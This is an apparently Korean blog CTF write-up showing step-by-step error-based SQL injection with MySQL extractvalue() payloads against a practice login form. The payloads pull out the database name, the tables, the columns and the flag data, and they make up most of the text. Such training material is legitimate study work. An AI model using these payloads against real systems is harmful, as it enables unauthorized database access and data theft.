320x100

 

SQL 포인트 찾기

 

normaltic’ / 1234 를 입력했을때 아래와 같은 화면이 나온다

 

  1. 에러를 출력 함수

extractvalue

  1. 공격 format 만들기

normaltic’ and extractvalue() and ‘1’=’1

normaltic' and extractvalue('1' , concat(0x3a, (select 'normaltic'))) and '1'='1

만든 쿼리가 정상적으로 동작하는지 확인

 

  1. DB 이름 출력 sqli_2_1

normaltic' and extractvalue('1' , concat(0x3a, (select database()))) and '1'='1

 

 

  1. 테이블 이름 추출 flag_table → member

select table_name from information_schema.tables where table_schema=’sqli_2_1’

normaltic' and extractvalue('1' , concat(0x3a, (select table_name from information_schema.tables where table_schema='sqli_2_1' limit 0,1))) and '1'='1

  1. 컬럼이름 추출 flag1 → flag2 → flag3 → flag4 → flag5 → flag6 → flag7 → flag8

select column_name from information_schema.columns where table_name=’flag_table’ limit 0,1

normaltic' and extractvalue('1' , concat(0x3a, (select column_name from information_schema.columns where table_name=’flag_table’ limit 0,1))) and '1'='1

 

  1. 데이터 추출 segfault{1 → a→ b→ c→ d→ e→ f→ g

normaltic' and extractvalue('1' , concat(0x3a, (select flag1 from flag_table))) and '1'='1

 

 

위 처럼 하나씩 나오는 데이터를 합치면 정답

 

300x250

+ Recent posts